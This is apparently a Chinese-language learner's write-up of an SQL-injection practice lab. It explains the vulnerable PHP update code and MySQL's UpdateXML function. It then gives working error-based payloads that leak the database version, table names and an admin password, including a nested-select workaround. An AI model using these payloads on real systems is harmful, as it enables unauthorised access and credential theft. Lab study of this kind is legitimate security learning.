0x01簡介
百度翻譯了一下 基於錯誤的更新查詢 字符型
第一次遇到這種情況 那我們先看看源代碼行吧
不懂函數的百度
$result
= mysql_query(
$sql
);
//返回查詢的數據的一個結果集,需要用php相應的mysql函數取值。比如mysql_fetch_array()這個函數。還有你說的前一節課用到的mysql_query(),這個函數是執行sql語句的,並不是取值。
$row = mysql_fetch_array($result)意思是從查詢結果里面獲取一行數據,這個語句的前面兩行大概是:
$sql='select a,b,c from .....';
$result=mysql_query($sql);
那么,執行這個語句之后,$row['a']、$row['b']等變量就有查詢數據的一條
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; 這句話是我自己的理解 這里的意思是在users列里面找到username字段對應的password並且更新它
這是別的理解
我們這里來看一下怎么處理usernm的
只截取15個字符
get_magic_quotes_gpc()
當magic_quotes_gpc=On的時候,函數get_magic_quotes_gpc()就會返回1
當magic_quotes_gpc=Off的時候,函數get_magic_quotes_gpc()就會返回0
stripslashes()
刪除由 addslashes() 函數添加的反斜杠
ctype_digit()判斷是不是數字,是數字就返回true,否則返回false
mysql_real_escape_string()轉義 SQL 語句中使用的字符串中的特殊字符。
那這里對useamane參數進行了 check 但是未對 passwrod進行檢查 因此我們可以從password下手
接下來看下updatexml這個函數,一直網上都說的很模糊,都只是給的payload:and (updatexml(1,concat(0x5c,version(),0x5c)),1),這里只看得出來需要三個參數,但是參數是什么意思缺一無所知,我們只能通過help來查看
從UpdateXML(xml_target, xpath_expr, new_xml)看出
第一個參數是目標是針對於xml文檔
第二參數是xpath的表達,這里可以看下xpath教程: http://www.w3school.com.cn/xpath/
第三個參數是將xpath表達式轉換成什么,也就是替換查找到的符合條件的數據
以上看了下,表示還是有些懵逼。
那就來按照他的方式實例玩玩是怎么回事
是不是沒看懂,為什么會這樣,我把內容拿出來分析
2)同樣的第二條UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2;可以看出將第一個參數的內容裝換為了<e>fff</e>,但是由於查找方式是從第一個點開始查詢,這里直接跳過了從第二開始查詢,所以沒有查詢到,看下面的說明
這樣一來使用//就可以隨便查詢了,不會考慮節點的位置問題,其他的就依次內推
那么分析完了接下來我們對password開始下手吧
0X01愛之初體驗
爆破版本
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit
0X02表名的獲取
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit
爆破列名同表名的方法
這里我們來看看字段名
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select password from users where username='admin'),0x5c),1))#submit=submit
按照道理這里不會錯啊 為什么會報錯吶?
百度
搜嘎原來如此 那我們如何繞過吶?????
網上學習的大牛的思路 在構造一個select語句
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin')aa),0x5c),1))#submit=submit
少就是多 慢就是快 慢慢學